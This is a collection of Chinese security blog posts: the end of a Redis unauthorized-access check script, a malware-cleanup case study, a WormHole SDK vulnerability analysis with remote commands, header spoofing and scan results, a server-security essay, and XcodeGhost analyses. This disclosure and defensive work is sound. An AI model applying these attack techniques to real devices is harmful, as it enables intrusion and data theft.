            s.connect((host, port))
            s.send(payload)
            recvdata = s.recv(1024)
            if recvdata and 'redis_version' in recvdata:
                result['VerifyInfo'] = {}
                result['VerifyInfo']['URL'] = self.url
                result['VerifyInfo']['Port'] = port
        except:
            pass
        s.close()
        return self.parse_attack(result)
    def _attack(self):
        return self._verify()
    def parse_attack(self, result):
        output = Output(self)
        if result:
            output.success(result)
        else:
            output.fail('Internet nothing returned')
        return output
register(TestPOC)

解决方案

临时解决方案

  1. 配置bind选项, 限定可以连接Redis服务器的IP, 并修改redis的默认端口6379.
  2. 配置AUTH, 设置密码, 密码会以明文方式保存在redis配置文件中.
  3. 配置rename-command CONFIG “RENAME_CONFIG”, 这样即使存在未授权访问, 也能够给攻击者使用config指令加大难度
  4. 好消息是Redis作者表示将会开发”real user”,区分普通用户和admin权限,普通用户将会被禁止运行某些命令,如config

官方解决方案

暂无官方解决方案

推荐防护方案

暂无防护方案

Redis 未授权访问缺陷可轻易导致系统被黑,首发于博客 – 伯乐在线

恶意代码清除实战

恶意代码清除实战 什么是恶意代码,指令集?是二进制可执行指令?还是脚本语言?字处理宏语言?其他指令集等等……以常见的类型举例,那么如果一台服务器存在恶意代码,windows系列机器的恶意代码一般指的是病毒,蠕虫,木马后门,linux系统机器恶意代码一般就是Rootkit。

那么如何快速判断自己的web服务器是否存在恶意代码,是否由于web端的问题导致的内网渗透,或被植入恶意代码作为跳板机、肉鸡等;如何通过手工或者工具的方式快速清除恶意代码,加固系统加固,预防下一次入侵带来的问题。

绿盟科技博客邀请安全服务团队的安全工程师从一个实战案例入手,来讲解如何手工清除恶意代码。现在已知有一台服务器表现不太正常,需要我们来排查这个服务器存在什么问题。

 

查看系统日志

前提是该服务器的日志策略,审核策略已经开启。

经过查询日志可以发现,攻击者从TerminalService端即远程桌面进行了多次登录尝试,并出现大量相同状态日志,即在进行远程暴力猜测。由于登录失败次数限制,延缓了攻击者猜测出真实口令的时间。

恶意程序如何执行

通过查看系统计划任务可以发现,攻击者使用较为老套的计划任务方式执行木马程序。

查看计划任务属性,便可以发现木马文件的路径。

木马文件和svchost.exe文件名较像,具有一定的迷惑性,属于常规隐藏方式。经过查询可知,svchsot.exe是Troj/GWGhost-O木马相关程序,即该木马的主要组件。

继续追查痕迹

另外,慢慢遵循着入侵者的脚步,可见攻击者动过的手脚不止这一处。

在prefetch文件夹下,prefetch目录下为系统启动的预读取文件,可以看见xiaoma,和抓肉鸡工具,查看创建时间发现早在几天前甚至更早就已经拿下该服务器为肉鸡,只是尚未发现。

另外发现,存在一些.pf文件,显然攻击者希望在系统运行的时候就成为肉鸡,根据系统启动预读取文件.pf的文件名反向搜索,诱敌深入。

可以发现在system目录下,存在.pf文件的链接指向文件,显然也是通过这个方式来开机加载的,使得服务器开机即上线沦为工具,真是放长线钓大鱼啊。

旁敲侧击

查看进程,可以从运行进程上来发现系统内存在的问题;

综上案例,在寻找恶意代码的过程中,根据各种方式查看系统信息是宗旨,根据收集到的信息判断恶意代码的存在位置和触发方式,进而删除恶意代码执行文件,并且侦查恶意代码的附属产品是否有影响系统启动项、系统文件等;将和恶意代码相关的执行文件、服务、链接等一并删除,如果可以的话,最为稳妥的重装操作系统当然是极好的。

对于我们来排查服务器系统存在的问题,我们要从进程、服务、启动项、网络连接、钩子等方面进行检查,并根据安全事件发生的时间节点,在查看系统信息时重点关注该时间节点的前后的日志事件和系统信息变化,如果可以的话可以以时间点为线索进行关联分析,从而摸清楚入侵者的思路和操作步骤。这里也推荐一些常用的小工具,可以帮助我们更好的来获取不同类别的系统信息,从而抓住系统痕迹,找到问题。

痕迹一:进程

推荐小工具:Process explore

查看可疑的进程及其子进程。可以通过观察以下内容:

  • 没有签名验证信息的进程
  • 没有描述信息的进程
  • 进程的属主
  • 进程的路径是否合法
  • CPU或内存资源占用长时间过高的进程

痕迹二:文件

推荐方式:根据日期排序,检查系统敏感目录文件的改动。

痕迹三:启动项

推荐小工具:Autoruns

这个小工具能够查看到系统的启动项,并且能够对大部分启动项做出说明,同时显示调用注册表路径,同时还能对一些常见的木马运行方式,BHO项、计划任务、镜像劫持等作出检查和侦测。一般判断的标准是,是否该项有注释说明,是否是可疑的常见组件,是否不是管理员添加的项等。

痕迹四:综合分析

推荐小工具:Icesword

Icesword功能比较强大,可以对隐藏进程进行检测,并以红色标出,方便我们查找;同时还可以对端口,服务,注册表,文件,线程等进行侦测观察,对没有描述或者奇怪的可疑选项名称进行逐一手工检测。

THE END

进行恶意代码侦查的过程是一个很有趣的过程,逆着入侵者的思路来,就像还原犯罪现场,时光倒流,加上推理和分析,不放过一丝一毫的线索;相信喜欢侦探小说的你,一定会喜欢上恶意代码侦查探索的过程的。

恶意代码清除实战,首发于博客 – 伯乐在线

比葫芦娃还可怕的百度全系APP SDK漏洞 – WormHole虫洞漏洞分析报告

「You can’t have a back door in the software because you can’t have a back door that’s only for the good guys.」 – Apple CEO Tim Cook

「你不应该给软件装后门,因为你不能保证这个后门只有好人能够使用。」—— 苹果 CEO 库克

0×00 序

最早接触网络安全的人一定还记得当年RPC冲击波,WebDav等远程攻击漏洞和由此产生的蠕虫病毒。黑客只要编写程序扫描网络中开放了特定端口的机器,随后发送对应的远程攻击代码就可以控制对方主机,在控制对方主机后,程序可以继续扫描其他机器再次进行攻击。因为漏洞出在主机本身,想要修复漏洞必须安装补丁才行,但因为很多人并不会及时升级系统或者安装补丁,所以漏洞或者蠕虫会影响大量的机器非常长的时间,甚至有的蠕虫病毒可以感染全世界上亿的服务器,对企业和用户造成非常严重的损失。

Android发布后,我们就一直幻想着能发现一个像PC上的远程攻击一样厉害的漏洞,但是Android系统默认并没有开放任何端口,开放socket端口的APP也非常稀少,似乎出现像PC那样严重的漏洞是不太可能的。但可惜的是,世界上并没有绝对的安全,就在这么几个稀少的端口中,我们真的找了一个非常严重的socket远程攻击漏洞,并且影响多个用户量过亿的APP,我们把这个漏洞称之为WormHole虫洞漏洞。

0×01 影响和危害

WormHole虫洞漏洞到底有多严重呢?请看一下我们统计的受影响的APP列表(还没有统计全):

百度地图 检测版本8.7
百度手机助手 检测版本6.6.0
百度浏览器 检测版本6.1.13.0
手机百度 检测版本6.9
hao123 检测版本6.1
百度音乐 检测版本5.6.5.0
百度贴吧 检测版本6.9.2
百度云 检测版本7.8
百度视频 检测版本7.18.1
安卓市场 检测版本6.0.86
百度新闻 检测版本5.4.0.0
爱奇艺 检测版本6.0
乐视视频 检测版本5.9
…完整列表见附录

这个列表是2015年10月14号统计的百度系APP的最新版,理论上所有小于等于检测版本的这些百度系的APP都有被远程攻击的危险。根据易观智库的统计排行:

可以看到手机百度、百度手机助手、百度地图等百度系APP有着上亿的下载安装量和加起来超过三亿的活跃用户。

安装了百度的这些APP会有什么后果和危害呢?

  1. 无论是 wifi 无线网络或者3G/4G 蜂窝网络,只要是手机在联网状态都有可能受到攻击。攻击者事先无需接触手机,无需使用DNS欺骗。
  2. 此漏洞只与app有关,不受系统版本影响,在google最新的android 6.0上均测试成功。
  3. 漏洞可以达到如下攻击效果:
  • 远程静默安装应用
  • 远程启动任意应用
  • 远程打开任意网页
  • 远程静默添加联系人
  • 远程获取用用户的GPS地理位置信息/获取imei信息/安装应用信息
  • 远程发送任意intent广播
  • 远程读取写入文件等。

下面是视频DEMO:

俺们做的视频效果太差,下面demo视频是从网上看到的:

 

0×02 漏洞分析

安装百度系app后,通过adb shell连接手机,随后使用netstat会发现手机打开了40310/6259端口,并且任何IP都可以进行连接。


原来这个端口是由java层的nano http实现的,并且这个http服务,百度给起名叫immortal service(不朽/不死的服务)。为什么叫不朽的呢?因为这个服务会在后台一直运行,并且如果你手机中装了多个有wormhole漏洞的app,这些app会时刻检查40310/6259端口,如果那个监听40310/6259端口的app被卸载了,另一个app会立马启动服务重新监听40310/6259端口。

我们继续分析,整个immortal service服务其实是一个http服务,但是在接受数据的函数里有一些验证,比如 http 头部remote-addr字段是否是”127.0.0.1”,但是会一点web技巧的人就知道,只要伪造一下头部信息就可把remote-addr字段变成”127.0.0.1”。

成功的和http server进行通讯后,就可以通过url给APP下达指令了。拿百度地图为例,以下是百度地图APP中存在的远程控制的指令的反汇编代码:

  1. geolocation 获取用户手机的GPS地理位置(城市,经度,纬度)
  2. getsearchboxinfo 获取手机百度的版本信息
  3. getapn 获取当前的网络状况(WIFI/3G/4G运营商)
  4. getserviceinfo 获取提供 nano http 的应用信息
  5. getpackageinfo 获取手机应用的版本信息
  6. sendintent 发送任意intent 可以用来打开网页或者与其他app交互
  7. getcuid 获取imei
  8. getlocstring 获取本地字符串信息
  9. scandownloadfile 扫描下载文件(UCDownloads/QQDownloads/360Download…)
  10. addcontactinfo 给手机增加联系人
  11. getapplist获取全部安装app信息
  12. downloadfile 下载任意文件到指定路径如果文件是apk则进行安装
  13. uploadfile 上传任意文件到指定路径 如果文件是apk则进行安装

当我们看到这些远程指令的时候吓了一跳。你说你一个百度地图好好的导航行不行?为什么要去给别人添加联系人呢?添加联系人也就算了,为什么要去别的服务器下载应用并且安装呢?更夸张的是,安装还不是弹出对话框让用户选择是否安装,而是直接申请root权限进行静默安装。下图是代码段:

可以看到下载完app后会有三个判断:

  1. 手机助手为系统应用直接使用android.permission.INSTALL_PACKAGES权限静默安装应用
  2. 手机助手获得 root 权限后使用 su 后执行 pm install 静默安装应用
  3. 非以上二种情况则弹出引用安装的确认框

一般用户是非常相信百度系APP,如果百度系APP申请了root权限的话一般都会通过,但殊不知自己已经打开了潘多拉的魔盒。

如果手机没root就没法静默安装应用了吗?不是的,downloadfile和uploadfile可以选择下载文件的位置,并且百度系app会从”/data/data/[app]/”目录下动态加载一些dex或so文件,这时我们只需要利用downloadfile或uploadfile指令覆盖原本的dex或so文件就可以执行我们想要执行的任意代码了。比如说,利用dex或者so获取一个反弹shell,然后把提权的exp传到手机上执行获得root权限,接下来就可以干所有想干的任何事情了。

0×03 POC

因为影响过大,暂不公布,会在WormHole漏洞修复完后更新。

0×04 测试

简单测试了一下WormHole这个漏洞的影响性,我们知道3G/4G下的手机其实全部处于一个巨大无比的局域网中,只要通过4G手机开个热点,就可以用电脑连接热点然后用扫描器和攻击脚本对全国甚至全世界连接了3G/4G的手机进行攻击。在家远程入侵一亿台手机不再是梦。

我们使用获取包名的脚本,对电信的下一个 C 段进行了扫描,结果如下:

Discovered open port 6259/tcp on 10.142.3.25  "com.baidu.searchbox","version":"19"
Discovered open port 6259/tcp on 10.142.3.93  "packagename":"com.baidu.appsearch"
Discovered open port 6259/tcp on 10.142.3.135  "com.hiapk.marketpho","version":"121"
Discovered open port 6259/tcp on 10.142.3.163  "packagename":"com.hiapk.marketpho"
Discovered open port 6259/tcp on 10.142.3.117  "com.baidu.browser.apps","version":"121"
Discovered open port 6259/tcp on 10.142.3.43   "com.qiyi.video","version":"20"
Discovered open port 6259/tcp on 10.142.3.148  "com.baidu.appsearch","version":"121"
Discovered open port 6259/tcp on 10.142.3.196  "com.baidu.input","version":"16"
Discovered open port 6259/tcp on 10.142.3.204  "com.baidu.BaiduMap","version":"20"
Discovered open port 6259/tcp on 10.142.3.145  "com.baidu.appsearch","version":"121"
Discovered open port 6259/tcp on 10.142.3.188  "com.hiapk.marketpho","version":"21"
Discovered open port 40310/tcp on 10.142.3.53  "com.baidu.BaiduMap","version":"122"
Discovered open port 40310/tcp on 10.142.3.162  "com.ting.mp3.android","version":"122" 
Discovered open port 40310/tcp on 10.142.3.139 "com.baidu.searchbox","version":"122"
Discovered open port 40310/tcp on 10.142.3.143 "com.baidu.BaiduMap","version":"122"
Discovered open port 40310/tcp on 10.142.3.176  "packagename":"com.baidu.searchbox"

255个IP就有16手机有WormHole漏洞。

除此之外,我们发现华为,三星,联想,金立等公司的某些机型在中国出厂的时候都会预装百度系app,突然间感到整个人都不好了。。。

0×05 总结

我们已经在2015年10月14日的时候将WormHole的漏洞报告通过乌云提交给了百度,并且百度已经确认了漏洞并且开始进行修复了。但这次漏洞并不能靠服务器端进行修复,必须采用升级app的方法进行修复,希望用户得到预警后尽快升级自己的应用到最新版,以免被WormHole漏洞攻击。

0×06 受影响的app列表

足球直播
足球巨星
足彩网
卓易彩票
助手贴吧
中国足彩网
中国蓝TV
中国蓝HD
珍品网
掌上百度
悦动圈跑步
优米课堂
音悦台
移动91桌面
央视影音
修车易
小红书海外购物神器
侠侣周边游
物色
万达电影
贴吧看片
贴吧饭团
视频直播
生活小工具
上网导航
全民探索
穷游
汽车之家
拇指医生(医生版)
萌萌聊天
美西时尚
么么哒
蚂蚁短租
旅游攻略
乐视视频
酷音铃声
口袋理财
经理人分享
购车族
歌勇赛
凤凰视频
风云直播Pro
多米音乐
都市激情飙车
懂球帝
蛋蛋理财
穿越古代
彩票到家
彩票365
爆猛料
百姓网
百度桌面Plus
百度云
百度游戏大全
百度音乐2014
百度新闻
百度团购
百度图片
百度贴吧青春版
百度贴吧简版
百度贴吧HD
百度输入法
百度手机助手
百度手机游戏
百度视频HD
百度视频
百度浏览器
百度翻译
百度地图DuWear版
百度地图
百度HD
百度
安卓市场
爱奇艺视频
VidNow
Video Now
T2F话友
Selfie Wonder
PPS影音
PhotoWonder
hao123特价
CCTV手机电视
91桌面
91助手
91爱桌面
91 Launcher
365彩票

PS:

1.文章是提前编辑好打算漏洞公开后再发布,趋势已经发文所以跟进.

http://blog.trendmicro.com/trendlabs-security-intelligence/setting-the-record-straight-on-moplus-sdk-and-the-wormhole-vulnerability/

2.网上公布的一些 app 列表大多是根据百度 moplus SDK 的特征指令静态扫描得来这样会有一定误报导致无辜 app 躺枪,比如漫画岛app 虽然集成了此 SDK 但是因为代码混淆策略,指令实现类名被混淆后 findClass 无法找到,所以 exp 都会提示404.

3.关联漏洞

WooYun: 百度输入法安卓版存在远程获取信息控制用户行为漏洞(可恶意推入内容等4G网络内可找到目标)

WooYun: WormHole虫洞漏洞总结报告(附检测结果与测试脚本)

 

比葫芦娃还可怕的百度全系APP SDK漏洞 – WormHole虫洞漏洞分析报告,首发于博客 – 伯乐在线

谈谈物理服务器的安全

随着虚拟技术与云计算的火热,越来越多的人将注意力放在了虚拟机与虚拟网络的安全上面。当然确实也是目前一个趋势与发展方向,但虚拟化的安全与物理设备的安全就如同一个天平的两端,过于重视一端就可能遗漏了另一端的问题。今天我想聊聊物理服务器层面的安全问题。

为什么大家容易忽视物理服务器的安全问题?

我认为有以下几个可能的原因:

  • 服务器设备通常放置于相对安全的机房当中,通常在企业防火墙后面
  • 能接触到设备的人员比较有限
  • 对于物理设备上发现的问题通常用户无法解决,或是无法通过安装防御软件来解决
  • 不容易被攻击,毕竟这个时代能攻击到物理设备的方式远没攻击虚拟设备的多

所以用户不关心,运维人员也不关心,厂家也省事。但这样真的没问题了吗?显然不是。俗话说“外贼易防,家贼难防”,假设某个运维人员偷偷的植入了一段BIOS启动代码,可以说市面上所有的安全软件都是无法检测出来的。这也是为什么要有Secure Boot技术,一种在系统的启动阶段进行保护,使得操作系统运行在一个可信的物理环境上的技术。这里只举一个例子来说明物理设备的安全问题,尽管没那么明显但是一般都是非常严重并且难以处理的问题。

物理服务器安全的方方面面

大家都知道服务器有一部分部件与PC相似,如CPU,内存,磁盘,网卡,显卡,风扇等,但还有一部分是特有的,如传感器,PSU,RAID卡,固件芯片等。另外服务器也有一些内嵌的软件模块,如BIOS,BMC以及厂家自己研发的嵌入式软件。所有的这些都可能存在漏洞问题,如内存的Row Hammer漏洞,CPU的S3读取PCH模块脚本未被保护问题等。还有一部分涉及到的是嵌入式软件的问题,通常服务器是需要以24×7的强度来运行的,这对服务器的稳定性提出了很高的要求。因此服务器内有大量的传感器来监视服务器的健康状态,如温度传感器,风扇传感器,PSU传感器等,所以厂家通常会开发一些嵌入式软件来监控这类的设备,这里最出名的莫过于板载控制器(BMC)了,基本上主流两路以上的服务器都会具有BMC。此外还有其他外围的设备如显卡,RAID卡,网卡等板卡设备。在进行更细致的分析前,请大家看一下与服务器安全相关的全景图:


物理服务器安全之硬件部分

对于硬件层面的安全问题主要集中在可信计算方面,建立一个安全可信的运行环境是可信计算的主要目的。TPM安全芯片是目前业界的主流解决方案,也是很多上层安全技术的基础。它解决以下几个问题:

  • 存储,管理秘钥,如BIOS密码,硬盘加密密码等
  • 生成秘钥,使用不同的加密算法来创建
  • 磁盘加密,为上层提供磁盘加密功能,如Windows的Bitlocker
  • 以及其他加解密相关的支持,如生成随机数

TPM本质上是一个安全的协处理器。服务器上CPU众多,为什么还需要一个这样的协处理器呢?加解密工作是一个非常耗CPU的任务,如果你的程序里有进行加解密运算,你一定要警惕它的性能问题。记得早前的一个做信用卡卡号处理的项目,当数据量少时一切正常,一旦数据量大到一定程度,CPU就是100%。当时我们分析了各种原因,有人说是内存太小导致频繁磁盘交换,有人说线程太多,任务切换过于频繁等。最后拿性能剖析工具一查,才知道是加解密模块吃掉了所有CPU计算资源。因此对于服务器来说,尽管CPU很多但是还是需要一个专业干加解密的硬件设备。

说到TPM就不得不提TCG(可信计算组),这是一个由主流设备生产厂商发起的组织,主要的目的是解决当时业界已经面临的个人计算平台安全问题。具体的历史可以查看维基百科,但也不是所有人都认同可信计算的,主要的争论点是采用可信计算方案相当于个人的信息对这些厂家来说是公开的,也就是一个对厂家公开的后门。所以在国内,政府的要求是采用TCM而不是TPM,TCM与TPM功能类似,唯一不同是加密算法是采用国内研究机构开发的。安全嘛,只有自己人才可信:)。

物理服务器安全之嵌入式软件部分

说起来软件程序面临的安全问题基本都很类似,不管是嵌入式软件,应用软件,web系统,你所面临的安全问题大多有以下几种:

  • 加解密算法是否足够安全
  • 网络连接是否安全
  • 数字签名与证书相关的安全
  • 存储是否安全
  • 程序越界问题
  • 注入攻击问题
  • 代码漏洞问题
  • 权限控制问题

BIOS作为现代计算机的基础软件,几十年来地位就没变过。但与它相关的技术倒是发生了一些变化,从早期的汇编,C,EFI到现在的UEFI,从功能角度来说丰富了不少。嵌入式软件终于也可以画出一些相对漂亮的界面来给用户了。也正是由于它比较基础对于它的保护是必不可少的,了解病毒历史的读者可能还记得90年代的CIH病毒,这个病毒影响意义深远。而Secure boot技术的目的就是让BIOS在引导系统启动的时候具备足够安全性。看一下Secure Boot的过程:

由于BIOS程序对外没有网络访问的能力,所以安全问题相对来说简单一些,主要是UEFI的漏洞问题。

而BMC就不一样了,这个功能强大的家伙问题也是最多的。可以这么说物理服务器涉及到的安全问题有一大半是出在BMC身上。你可能会问都有哪些问题?我只能说几乎上面提到的所有问题,因为它就是一个用于处理硬件问题的web应用。BMC有哪些功能,看看这张截图:

它使用一个微型的嵌入式Linux内核,并通常带有一个web栈。BMC对外支持多种协议,如HTTP,IPMI,SNMP,CIM等等。而这里面用的最多的,并且安全性最差的就是IPMI协议了。IPMI协议是一个事实上的服务器管理标准协议,几乎所有的服务器都会支持它(当然有的服务器如果没有BMC,通常也会有AMT技术做替代)。而被广为诟病的是IPMI协议中RAKP使用的SHA1进行秘钥哈希运算问题,这是一个已知的并且广泛存在的问题。我们只能通过禁用IPMI的远程访问来绕过它,但是如果没有远程的能力,对于具有成千上万台服务器的数据中心来说,单单是关机/重启这样简单的操作就是一个恶梦。因此各大厂商采用HTTP协议来替代IPMI的远程访问(有些厂商采用CIM接口,但是CIM的兼容性是很大的问题)。那么引入HTTP就引入了所有HTTP可能遇到的安全问题,如中间人攻击,证书伪造,跨站攻击,脚本注入,DDOS等,安全问题也变得日益严峻。为了解决这些问题,引入HTTPS是最好的方案。在大多数情况下,HTTPS可以避免中间人与证书伪造等问题。说到这里又不得不提OpenSSL,作为业内著名的开源安全库已经有很长的历史了。它是实现SSL的主要模块,也可以说HTTPS实现的基础。但是在最近的一年里OpenSSL接连报出几个大的漏洞问题,如Heart Bleeding,Freak Attack等,给广大厂商和用户带来了很多麻烦。虽然OpenSSL的补丁不断,但是官方已经声明在2015年年底停止对0.9.8分支的支持,2016年底停止对1.0.0和1.0.1分支的支持。这是好事也是坏事,好事是我们不需要再为旧版本漏洞担忧了,而坏事是你不得不为升级库比进行大量测试。

BIOS与BMC是服务器上嵌入式软件的两个主要部分,当然还有其他的如厂商自行研发的部署软件等,还有驱动的问题等不一而足。另外遇到的挑战是通常更新这些补丁需要重启服务器,而对于需要持续运行的服务器来说重启是比较困难的。因此现实的情况是很多服务器都是带着大量的安全漏洞在跑的,幸运的是服务器管理网络与业务网络是物理隔离的,被外部攻击的可能性比较低。

物理服务器安全之其他内容

从概览图里可以看出来,与服务器安全相关的内容有很多。如标准,美国有美国的标准,中国有中国的标准。通常来说美国的标准比中国的全面而且严格一些,如美国标准对固件更新就有明确的安全规定。所以大家在采购服务器的时候可以询问一下所符合的标准。另外还有测试方法与工具,测试原则,漏洞管理等。目前来说对于物理服务器安全问题的解决,还是以厂家提供的补丁为主,建议用户对严重的问题进行及时的更新,并密切关注各个厂家的安全响应页面(可以搜索PSIRT关键字来了解)。

最后,个人觉得安全问题归根到底还是人的意识问题。单有工具没有安全意识也是白扯,就像一个全副武装战士,掉进敌人挖的坑里也是没救的。所以提高安全防范意识是人们的首要任务。

  • 如果是开发团队,引入安全验证过程,采用漏洞扫描工具Nessus,AppScan进行安全检测。
  • 如果是运维团队,关注业界安全漏洞网站,采用工具进行定期的扫描,增加审计过程
  • 如果是个人用户,除了安装杀毒软件外,就是不要登陆不了解的网站。下载程序时注意网站提供的哈希码,这是防止程序被篡改的关键。

谈谈物理服务器的安全,首发于博客 – 伯乐在线

你以为服务器关了这事就结束了? – XcodeGhost截胡攻击和服务端的复现,以及UnityGhost预警

0×00 序


截胡,麻将术语,指的是某一位玩家打出一张牌后,此时如果多人要胡这张牌,那么按照逆时针顺序只有最近的人算胡,其他的不能算胡。现也引申意为断别人财路,在别人快成功的时候抢走了别人的胜利果实。

虽然XcodeGhost作者的服务器关闭了,但是受感染的app的行为还在,这些app依然孜孜不倦的向服务器(比如init.icloud-analysis.com,init.icloud-diagnostics.com等)发送着请求。这时候黑客只要使用DNS劫持或者污染技术,声称自己的服务器就是”init.icloud-analysis.com”,就可以成功的控制这些受感染的app。具体能干什么能,请看我们的详细分析。

另外,有证据表明unity 4.6.4 – unity 5.1.1的开发工具也受到了污染,并且行为与XcodeGhost一致,更恐怖的是,还有证据证明XcodeGhost作者依然逍遥法外,具体内容请查看第三节。

PS:虽然涅槃团队已经发出过攻击的demo了2,但很多细节并没有公布。所以我们打算在这篇文章中给出更加详细的分析过程供大家参考。

0×01通信协议分析


在受感染的客户端App代码中,有个Response方法用于接收和处理远程服务器指令。

Response方法中根据服务器下发的不同数据,解析成不同的命令执行,根据我们分析,此样本大致支持4种远程命令,分别是:设置sleep时长、窗口消息、url scheme、appStore窗口。

通过4种远程命令的单独或组合使用可以产生多种攻击方式:比如下载安装企业证书的App;弹AppStore的应用进行应用推广;弹钓鱼页面进一步窃取用户信息;如果用户手机中存在某url scheme漏洞,还可以进行url scheme攻击等。

其通信协议是基于http协议的,在传输前用DES算法加密http body。Response方法拿到服务器下发送的数据后,调用Decrypt方法进行解密:

如果解密成功,将解密后的数据转换成JSON格式数据:

然后判断服务器端下发的数据,执行不同的操作。如下面截图是设置客户端请求服务端器sleep时长的操作:

0×2恶意行为分析及还原


在逆向了该样本的远程控制代码后,我们还原了其服务端代码,进一步分析其潜在的危害。

首先我们在服务端可以打印出Request的数据,如下图:

红色框标记的协议的头部部分,前4字节为报文长度,第二个2字节为命令长度,最后一个2字节为版本信息,紧跟着头部的为DES的加密数据。我们在服务端将数据解密后显示为:

这里有收集客户端信息上传到控制服务器。

同样我们返回加密数据给客户端:

明文信息为:

客户端根据App的运行状态向服务端提供用户信息,然后控制服务器根据不同的状态返回控制数据:

恶意行为一 定向在客户端弹(诈骗)消息

该样本先判断服务端下发的数据,如果同时在在“alertHeader”、“alertBody”、“appID”、“cancelTitle”、“confirmTitle”、“scheme”字段,则调用UIAlertView在客户端弹框显示消息窗口:

消息的标题、内容由服务端控制

客户端启动受感染的App后,弹出如下页面:

恶意行为二 下载企业证书签名的App

当服务端下发的数据同时包含“configUrl”、“scheme”字段时,客户端调用Show()方法,Show()方法中调用UIApplication.openURL()方法访问configUrl:

通过在服务端配置configUrl,达到下载安装企业证书App的目的:

客户端启动受感染的App后,目标App将被安装:

demo地址:http://v.youku.com/v_show/id_XMTM0MTQyMzM1Ng==.html

恶意行为三 推送钓鱼页面

通过在服务端配置configUrl,达到推送钓鱼页面的目的:

客户端启动受感染的App后,钓鱼页面被显示:

demo地址:http://v.youku.com/v_show/id_XMTM0MTQyMjkyOA==.html

恶意行为四 推广AppStore中的应用

通过在服务端配置configUrl,达到推广AppStore中的某些应用的目的:

phishing1.html页面内容:

客户端启动受感染的App后,自动启动AppStore,并显示目标App的下载页面:

demo地址:http://v.youku.com/v_show/id_XMTM0MTQyNTk0MA==.html

0×03 UnityGhost?


在大家以为一切都完结的时候,百度安全实验室称已经确认”Unity-4.X的感染样本”。并且逻辑行为和XcodeGhost一致,只是上线域名变成了init.icloud-diagnostics.com。这意味,凡是用过被感染的Unity的app都有窃取隐私和推送广告等恶意行为。

Unity是由Unity Technologies开发的一个让玩家创建诸如三维视频游戏、实时三维动画等类型互动内容的多平台的综合型游戏开发工具,是一个全面整合的专业游戏引擎。很多有名的手机游戏比如神庙逃亡,纪念碑谷,炉石传说都是用unity进行开发的。

更令人恐怖的是,在百度安全实验室确认后没多久,大家就开始在网上寻找被感染的Unity工具,结果在我搜到一个Unity3D下载帖子的时候发现”codeFun与2015-09-22 01:18编辑了帖子”!?要知道codeFun就是那个自称XcodeGhost作者的人啊。他竟然也一直没睡,大半夜里一直在看大家发微博观察动静?随后发现大家知道了Unity也中毒的事情,赶紧去把自己曾经投毒的帖子删了?

现在再去看那个帖子已经被作者删的没有任何内容了。。。 http://game.ceeger.com/forum/read.php?tid=21630&fid=8

但根据XcodeGhost作者没删之前的截图表明,从unity 4.6.4 – unity 5.1.1的开发工具都有可能被投毒了!

0×04 总结


虽然病毒作者声称并没有进行任何广告或者欺诈行为,但不代表别人不会代替病毒作者进行这些恶意行为。并且作者依然还在逍遥法外!所以立刻!马上!删掉那些中毒的app吧!

0×05 参考资料


  1. 涅槃团队:Xcode幽灵病毒存在恶意下发木马行为 http://drops.wooyun.org/papers/8973
  2. XcodeGhost 源码 https://github.com/XcodeGhostSource/XcodeGhost

你以为服务器关了这事就结束了? – XcodeGhost截胡攻击和服务端的复现,以及UnityGhost预警,首发于博客 – 伯乐在线

让微信等知名 APP 都中招的 XcodeGhost 事件全面详细回顾

9月18日,我们在「iOS大全」(iOShub)微信已做过首次汇总。19日晚,「程序员的那些事」主页君根据当前网上相关信息,按照时间线,再次做一次更全面汇总。

 

2015-09-14

国家互联网应急中心 发布预警

不过这个公告,绝大多数开发者,也是昨天开始才知道的。

2015-09-16

腾讯安全响应中心称,「发现 App Store上的 TOP5000 应用有 76 款被感染,于是我们向苹果官方及大部分受影响的厂商同步了这一情况。」

 

2015-09-17

XcodeGhost 事件在网上升温发酵

【9:45】唐巧 发了一条微博:

随后很多留言的小伙伴们纷纷表示中招,@谁敢乱说话表示:”还是不能相信迅雷,我是把官网上的下载URL复制到迅雷里下载的,还是中招了。我说一下:有问题的Xcode6.4.dmg的sha1是:a836d8fa0fce198e061b7b38b826178b44c053a8,官方正确的是:672e3dcb7727fc6db071e5a8528b70aa03900bb0,大家一定要校验。”另外还有一位小伙伴表示他是在百度网盘上下载的,也中招了。

 

【16:00】国外安全公司 paloalto 发现了 XcodeGhost 问题,并发布第一版分析报告

【17:43】阿里的蒸米、迅迪发布了他们文章:《 XCode 编译器里有鬼,XCodeGhost 样本分析

@程序员的那些事 主页君注:内容为节选,有删减)

虽然 XCodeGhost 并没有非常严重的恶意行为,但是这种病毒传播方式在iOS上还是首次。也许这只是病毒作者试试水而已,可能随后还会有更大的动作,请开发者务必要小心。

这个病毒让我想到了UNIX 之父 Ken Thompson 的图灵奖演讲 “Reflections of Trusting Trust”。他曾经假设可以实现了一个修改的 tcc,用它编译 su login 能产生后门,用修改的tcc编译“正版”的 tcc 代码也能够产生有着同样后门的 tcc。也就是不论 bootstrap (用 tcc 编译 tcc) 多少次,不论如何查看源码都无法发现后门,真是细思恐极啊。

根据热心网友举报,投毒者网名为『coderfun』。他在各种iOS开发者论坛或者weibo后留言引诱iOS开发者下载有毒版本的Xcode。并且中毒的版本不止Xcode 6.4,还有6.1,6.2和6.3等等。

 

2015-09-18

第一批受感染的 APP 陆续被曝光

【14:14 】开始,@图拉鼎  在微博持续发布了由他测试验证受感染的 APP,至少包括如下:

  • 网易云音乐
  • 滴滴出行
  • 12306
  • 中国联通手机营业厅
  • 高德地图
  • 豌豆荚的开眼
  • 网易公开课
  • 下厨房
  • 51卡保险箱(金融应用)
  • 同花顺
  • 中信银行动卡空间

这个列表出来后,令人震惊。

【15:43】网易云音乐发公告

摘几个网友对该公告的评论:

@吴明prfc :

这公告,用被小偷改造的工具,导致被偷。给你说小偷走了,没威胁了,大家放心

@祝佳音:

翻译:虽然我们愚蠢又无能,也不知如何收拾残局,但不知道为什么,好像敌人暂时没动静了。这件事就当没发生,就当没发生!

【19:17】@Saic 童鞋发布《XcodeGhost 实际用途猜测分析》,给出了 XG  木马的逻辑:

在用户安装了目标应用后,木马会向服务器发送用户数据。

服务器根据需要返回模拟弹窗。

弹窗可以是提示支付失败,请到目标地址付款,也可以是某个软件的企业安装包。

用户被诱导安装未经审核的安装包后,程序可以调用系统的私有 API,实现进一步的攻击目的。

 

木马中还有一些调用应用内购的攻击逻辑,就不展开说明了。

如果之前有遇到任何程序弹出非系统需要输入 Apple ID 或密码的网站,并输入过密码的,还请尽早修改。

全文:http://weibo.com/p/1001603888503866975286

 

【21:02】微博上曝光了第二份受感染的 APP 列表:


(右侧是版本信息)

 

